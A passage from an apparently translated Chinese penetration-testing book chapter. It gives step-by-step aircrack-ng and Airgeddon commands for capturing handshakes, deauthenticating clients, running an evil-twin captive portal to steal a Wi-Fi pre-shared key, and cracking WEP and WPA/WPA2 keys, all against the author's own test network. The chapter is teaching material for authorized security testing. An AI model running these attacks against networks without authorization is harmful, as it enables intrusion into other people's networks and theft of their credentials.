破解:对 WEP、WPA 和 WPA2 预共享密钥执行攻击
让我们深入了解各种工具以及如何用于渗透测试。请记住,你的无线适配器必须处于监视模式才能使用这些工具。我们将从使用airmon-ng
启用监视模式开始。
Airmon-ng
Airmon-ng 是一个脚本,用于在无线适配器上启用和禁用监视模式。运行airmon-ng
而不带任何参数将显示当前的无线接口状态。
Airmon-ng 简单直接。使用以下步骤在无线适配器上启用监视模式:
-
打开一个终端窗口,使用
airmon-ng
命令查看你的无线适配器的名称。这个命令将显示当前的无线适配器、它的接口名称、驱动程序和芯片组。 -
要将适配器置于监视模式,你可以使用
airmon-ng start [interface name]
命令。例如,在图 11中,我的适配器的接口名称是wlan0
:
图 11:使用 airmon-ng 启用监视模式
airmon-ng
可以用来检查是否有任何进程会干扰aircrack-ng
套件的工具。检查的命令是airmon-ng check
。
在图 12中,我们看到有一些进程可能会影响aircrack-ng
工具套件:
图 12:识别有问题的进程
你可以让airmon-ng
使用这个命令杀死任何会干扰的进程:airmon-ng check kill
。
要将无线适配器重新设置为managed
模式,可以使用以下命令:airmon-ng stop [interface name]
。
airmon-ng
使您能够在特定信道上将适配器设置为监视模式。可以使用以下命令完成:
airmon-ng start [interface name] [channel number]
当有很多无线网络并且您想专注于目标网络所在的特定信道时,这将非常有用。
Airodump-ng
Airodump-ng 用于捕获原始 802.11 帧的数据包。该工具可用于收集 WPA 握手或弱 WEP 初始化向量,以供 Aircrack-ng 使用。它具有记录检测到的无线网络的 GPS 坐标的功能,这些坐标可以稍后导入在线 Wi-Fi 映射工具。
airodump-ng
的命令语法是airodump-ng [options][interface name]
。
airodump-ng
有很多选项可供选择。只需输入airodump-ng
命令即可显示完整列表。一些值得注意的选项如下:
-
-w
:用于将输出写入文件。 -
-c
:用于指定要捕获的信道。 -
-bssid
:用于定义目标 BSSID。
使用airodump-ng [interface name]
命令进行无线网络嗅探,不需要任何选项。显示的输出将显示范围内的当前无线网络,包括连接的站点,如图 13所示:
图 13:Airodump-ng 输出
不要被显示的信息所压倒,因为理解它很简单。Airodump-ng 有两个独立的部分。顶部显示了有关发现的网络的信息。字段描述如下:
字段 | 描述 |
---|---|
BSSID | 这是接入点的 MAC 地址。 |
PWR | 这是信号级别。您离接入点越近,信号级别评分就越高。有些可能显示为-1 ,意味着您离得太远,或者检测信号级别时存在驱动程序问题。 |
Beacons | AP 发送的信标帧数量。 |
#Data | 捕获的数据包数量。如果使用 WEP,它将是唯一的 IV 计数。 |
#/s | 在 10 秒内捕获的数据包数量。 |
CH | 这是信道号,从信标帧中派生出来。 |
MB | AP 支持的最大速度。 |
ENC | 正在使用的加密算法。 |
Cipher | 检测到的加密算法。 |
Auth | 正在使用的认证协议。 |
ESSID | 网络的 SSID。如果 SSID 是隐藏的,那么这个值将为空;但是,airodump-ng 将尝试从探测和关联响应中恢复 SSID。 |
底部部分显示了检测到的接入点和连接到接入点的客户端(站点)的 MAC 地址。
出于演示目的,我正在瞄准 Hackme 无线网络。我将告诉airodump-ng
专注于该接入点和信道,并且我希望将捕获写入磁盘。可以使用以下命令完成:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]
在此命令中,-c 6
表示信道号,--bssid
表示接入点 MAC 地址,-w
表示捕获的文件名,interface name
是我的无线适配器,处于监视模式:
图 14:定制 airodump-ng 以针对特定网络
请注意图 14中的输出,其中捕获了 WPA 握手。我们将在本章后面的Aircrack-ng部分介绍如何破解该握手。
Aireplay-ng
Aireplay-ng 主要用于注入帧并生成流量,以备后续使用aircrack-ng
。常见的攻击之一是去认证攻击;这种攻击的目的是捕获握手数据。
aireplay-ng
的命令语法如下:
aireplay-ng [options][interface name]
aireplay-ng
具有丰富的选项,对于各种攻击方法,攻击方法可以用名称或数字来定义。例如,去认证攻击是攻击编号 0
或者可以使用--deauth
。aireplay-ng
支持以下攻击方法:
-
去认证:此攻击的目的是使连接到接入点的客户端取消关联。这会迫使它们重新关联,并使您能够捕获握手过程。
-
伪认证:此攻击允许您与接入点关联。当您需要利用各种攻击而没有站点与接入点关联时,这是很有用的。
-
交互式数据包重播:当您想要选择特定数据包重播到接入点时使用此攻击。
-
ARP 请求重播攻击:此攻击有效地生成新的 IV。它通过将 ARP 数据包重新发送到接入点来工作,这迫使接入点用新的 IV 重复 ARP 数据包。
-
KoreK chopchop 攻击:此攻击能够在没有密钥的情况下解密 WEP 数据包。它不会恢复 WEP 密钥,但会以明文形式显示出来。
-
分段攻击:此攻击用于获取伪随机生成算法(PRGA)。这个 PRGA 可以与
packetforge-ng
一起用于生成各种其他注入攻击的数据包。 -
Cafe-latte 攻击:此攻击使您能够从客户端站点而不是接入点获取 WEP 密钥。它操纵 ARP 数据包发送到客户端,客户端再将其发送回来,然后被捕获和分析。
-
面向客户端的分段攻击:这扩展了 cafe-latte 攻击,使用任何数据包而不仅仅是 ARP 数据包。
-
WPA 迁移模式:此攻击特定于 Cisco 接入点中发现的漏洞,使 WPA 和 WEP 客户端能够使用相同的 SSID 关联到接入点。
-
注入测试:此测试确定您的无线适配器是否能成功向接入点注入数据包。
每种攻击都可以用一个数字来定义。例如,去认证攻击可以定义为-0
。您将在本章后面注意到,我们将使用数字来表示各种攻击。
让我们使用aireplay-ng
来执行去认证攻击,如图 15所示,使用以下命令:
aireplay-ng -0 10 -a [BSSID] -c [Client MAC] [interface name]
在这个命令中,-0 10
用于指定去认证攻击,只会发送10
个数据包,-a
用于定义接入点的 MAC 地址,-c
用于定义客户端的 MAC 地址,interface name
是无线适配器,处于监视模式。有时,可能需要更多的数据包才能使站点取消认证。您可以使用-0 0
选项来发送无限数量的数据包:
图 15:去认证攻击
ACKs
代表以下内容:
[Client ACKs received | Access point ACKs received]
这为您提供了一个很好的指示,表明数据包是否已被接收。数值越高越好。
Airgeddon
摆脱了aircrack-ng
套件中的多个工具,现在让我们专注于一个具有多种功能并且易于使用的工具。
Airgeddon(由v1s1t0r1sh3r3
开发)是一个用bash
编写的工具,用于对无线网络进行多种攻击。Airgeddon 的一些特点如下:
-
能够管理接口模式(监视和管理)
-
支持 2.4 GHz 和 5 GHz 频段
-
辅助 WPA/WPA2 握手捕获,清理和优化文件
-
WPA/WPA2 企业和个人的离线密码破解
-
恶意双胞胎攻击
-
WPS 攻击
Airgeddon 在 Kali Linux 中不是默认安装的。要安装它,请执行以下步骤:
- 安装 Airgeddon 可以通过克隆存储库来完成。在 Kali Linux 中使用以下命令来克隆 Airgeddon:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
- 一旦你克隆了 Airgeddon,就使用以下命令来运行它:
sudo bash airgeddon.sh
当 Airgeddon 启动时,它将执行一系列检查,以确保您拥有所有所需的工具。如果检测到缺少工具,它将突出显示这些工具,并包括软件包名称,如图 16所示:
图 16:Airgeddon 可选工具检查
- 在图 16中,有一些工具缺失。请注意软件包名称。要安装缺失的工具,我们可以简单地使用此命令:
apt get install bettercap mdk4 hostapd-wpe
- 完成初始检查后,Airgeddon 将提示选择要使用的网络卡,如图 17所示:
图 17:接口选择
- 选择您的接口后,您将看到 Airgeddon 的主菜单,如图 18所示:
图 18:Airgeddon 的主菜单
主菜单提供了许多选项。在第一部分中,我们可以将所选的接口设置为监视模式或托管模式。接下来的部分定义了 Airgeddon 能够执行的各种攻击。最后一部分是选项和积分。
邪恶孪生攻击
现在,我们将使用 Airgeddon 执行邪恶孪生攻击。邪恶孪生攻击是一种恶意接入点,旨在获取敏感信息、获取凭据或投放恶意有效负载。在我们的示例中,我们将创建一个邪恶孪生,旨在通过俘获门户窃取无线网络的预共享密钥:
您只应对您被授权的网络执行此攻击。出于学习目的,您应该对自己的无线网络执行此攻击。
- 使用以下命令启动 Airgeddon:
sudo bash airgeddon.sh
- 选择您的无线适配器,并使用 Airgeddon 的主菜单将其设置为监视模式。接下来,选择选项
7
,邪恶孪生攻击菜单(图 19)。菜单加载后,选择选项9
:
图 19:邪恶孪生攻击菜单
- Airgeddon 将执行的第一步是探索无线网络。它将自动设置 WPA/WPA2 的过滤器,并在新窗口中开始扫描,如图 20所示:
图 20:Airgeddon 探索目标
- 请将此窗口保持打开一段时间,以便您可以获得无线网络的准确读数。一旦您关闭窗口,Airgeddon 将提示您选择要攻击的网络(图 21)。请注意,
*
表示这是一个活动网络:
图 21:Airgeddon 网络选择
- 选择要攻击的网络后,您将看到 deauth 攻击菜单,如图 22所示:
图 22:Deauth 攻击菜单
这里有一些选项可供选择;您需要找到与您攻击的网络最匹配的选项。通常,mdk4
攻击非常有效。
-
选择 deauth 模式后,Airgeddon 将提示您进行一些额外的设置,例如 DOS 追求模式和在接口上启用互联网访问。为简单起见,我们将选择
NO
。下一批选项与欺骗您的 mac 地址有关,并定义捕获文件(如果您已经有)。如果选择捕获文件的NO
,则可以定义等待 WPA 提议的秒数。根据网络的活动程度,您需要增加此值。如果不这样做,并使用默认值,您可能无法获得 WPA 握手。 -
完成选项后,将打开两个新窗口。一旦捕获到 WPA 握手,Airgeddon 将通知您继续下一步,即定义俘获门户的语言。一旦定义了语言,Airgeddon 将启动多个窗口(图 23)执行邪恶孪生攻击:
图 23:Airgeddon 邪恶孪生攻击
生成的窗口与 DNS(用于拦截 DNS 请求)、DHCP(用于为站点提供有效的网络地址,以便与虚假接入点通信)、虚假接入点(虚假接入点配置)、Web 服务器(用于托管俘获门户)和最后,信息窗口有关。所有这些都是为了托管虚假的俘获门户而需要的。
现在,当站点连接到接入点时,它将被呈现一个俘获门户。一旦输入预共享密钥,它将以明文形式呈现(图 24)。可以根据需要调整俘获门户:
图 24:捕获的预共享密钥
Airgeddon 非常简单易用。它具有丰富的攻击功能。随着您的进展,您可能会发现更多的工具,但是了解如何使用aircrack-ng
中的工具仍然是有益的,因为您可能已经注意到 Airgeddon 中的一些攻击仍然利用了aircrack-ng
套件的部分。
破解 WEP、WPA 和 WPA2
Aircrack-ng 是一个程序,可以破解 WEP、WPA 和 WPA2 预共享密钥。它支持一些用于破解密码的方法,这些方法如下:
-
Pyshkin,Tews,Weinmann(PTW),它使用 ARP 数据包来破解 WEP 密钥。
-
FMS/KoreK 使用统计攻击和暴力破解技术来破解 WEP 密钥。
-
字典方法利用字典文件,可用于暴力破解 WEP、WPA/WPA2 密钥。请注意,对于 WPA/WPA2 破解,这是唯一使用的方法。
aircrack-ng
的命令语法如下:
aircrack-ng [options] <capture file(s)>
aircrack-ng
有许多可用选项。可以通过运行aircrack-ng
命令而不定义其他任何内容来查看这些选项。
破解 WPA/WPA2
让我们看一个使用aircrack-ng
破解 WPA2 的例子。重要的是要注意,破解 WPA2 的唯一可能方法是使用带有暴力破解技术的字典文件。对于所有暴力破解尝试,成功取决于您的字典文件的质量。请记住,更大的字典文件将需要更多的时间和处理能力。
在图 25中,您会注意到捕获了一个 WPA 握手:
图 25:WPA 握手捕获
使用以下命令破解这个握手:
aircrack-ng -w [wordlist] [capture file]
-w
开关表示将使用的字典文件的位置。您可以按名称定义捕获文件,或者如果有多个捕获文件,可以使用*.cap
。使用该命令,观察结果如图 26所示:
图 26:使用 aircrack-ng 破解 WPA 密钥
破解 WPA2 握手的过程与 WPA 的过程完全相同。
WPA/WPA2 除了预共享密钥之外,还支持许多认证方法。Aircrack-ng 只能破解使用预共享密钥的 WPA 网络。如果airodump-ng
显示网络使用 PSK 以外的东西,请不要尝试破解,因为这会浪费您的时间。
破解 WEP
破解 WEP 密钥有多种方法。在前一节中,我们讨论了攻击,如伪身份验证、caffe-latte 攻击、PTW 攻击等。
现在,我们将执行一些攻击来破解 WEP 密钥。此攻击至少需要一个连接到接入点的站点。
在我的设置中,我已将我的主机机器用作连接的客户端。如果您用于测试此攻击的路由器支持 WEP,请在执行以下步骤之前在路由器上设置 WEP:
- 确保您的无线适配器处于监视模式。使用
airodump-ng
,我们将指定使用 WEP 的无线网络并开始捕获数据包。在我的设置中,无线网络名为Hackme
。使用airodump-ng
部分中定义的命令,我正在调整airodump
以使用以下命令专门捕获无线网络的数据包:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]
要破解 64 位 WEP 密钥需要大量的 IVs,至少需要大约 250,000 个。让捕获空闲,需要一些时间来获取足够数量的 IVs。为了加快这个过程,我们将捕获并重放数据包到接入点,以生成唯一的 IVs。在这之前,我们需要对接入点进行认证,否则我们发送的任何数据包都将被丢弃。
- 为了对接入点进行认证,我们将执行一个伪身份验证攻击(图 27)。这种攻击通过说服接入点我们知道 WEP 密钥来进行,但我们并不发送它。为了执行这个攻击,我们使用这个命令:
aireplay-ng -1 0 -e Hackme -a [MAC Address] -h [MAC Address] [interface name]
在这个命令中,我们使用-1
来定义攻击;0
是重传时间,-e
表示 SSID,-a
是我们想要认证的接入点的 MAC 地址,-h
是网络卡的 MAC 地址,interface name
是处于监视模式的无线interface name
:
图 27:执行伪身份验证攻击
注意认证成功了;我们可以开始向接入点发送数据包。除非先发送 WEP 密钥,否则接入点不会接受流量。由于我们还没有发送密钥(因为我们还不知道),我们需要捕获已认证的客户端的数据包,并重放它们。为此,我们将使用 ARP 请求重放攻击。
- 利用
aireplay-ng
,我们将告诉它捕获并重新广播它收到的任何 ARP 数据包。我们将使用以下命令:
aireplay-ng -3 -b [MAC Address] -h [Mac Address] [interface name]
在这个命令(图 28)中,我们使用-3
来定义攻击;-b
用于定义接入点的 MAC 地址,-h
用于定义处于监视模式的无线适配器的 MAC 地址,接口名称
是处于监视模式的无线适配器的接口名称:
图 28:执行 ARP 请求重放攻击
注意警告。如果您定义了错误的 MAC 地址,aireplay-ng
将会警告您。
当流量从经过认证的客户端到接入点,以及捕获 ARP 请求时,您会注意到 ARP 请求计数在增加。您可能会收到一条消息,说明您收到了deauth/disassoc
数据包。如果发生这种情况,请确保重新运行伪身份验证攻击(步骤 2);您可能需要多次这样做。
一旦您收到足够的 IVs,如图 29所示,在#Data
列下,您就可以使用aircrack-ng
来破解密钥:
图 29:通过#Data 列显示接收到大量 IVs
- 要破解 WEP 密钥,使用以下命令:
aircrack-ng -b [MAC Address] [capture]
在这个命令中,我们使用-b
选项定义了接入点的 MAC 地址,然后我们定义了捕获名称,也可以定义为*.cap
。
如果您捕获了足够的 IVs,密钥将会被破解,如图 30所示:
图 30:WEP 密钥破解
记住去掉冒号:
,以获取实际的密钥。
破解 WPA/WPA2 和 WEP 之间的区别在于方法。WEP 使用统计方法,可以用来加快破解过程,但在 WPA/WPA2 中,唯一存在的选项是暴力破解。
总结
在这一章中,您已经了解了各种无线攻击方法。我们已经确定了无线网络的一个关键组成部分,无线帧,以及可以从其中一些帧中获取的各种信息。您已经了解了哪些网络卡能够执行数据包注入,拦截无线数据包,以及如何增加 Alfa 无线网卡的功率评级。
我们讨论了存在于无线网络中的各种加密方法,以及它们的漏洞。您已经了解了各种攻击工具,以及如何执行不同类型的攻击。最后,您已经学会了如何破解 WEP 和 WPA/WPA2 预共享密钥。
在第十章中,横向移动和提升特权,我们将探讨如何在网络中横向移动,以寻找高特权账户的目标。您还将学习如何在网络中提升特权。
问题
-
列举三种无线帧的类型。
-
从信标帧中可以获得什么类型的信息?
-
为什么 WPA2 比 WPA 更安全?
-
列举四种无线攻击类型。
-
列举三种无线攻击工具的名称。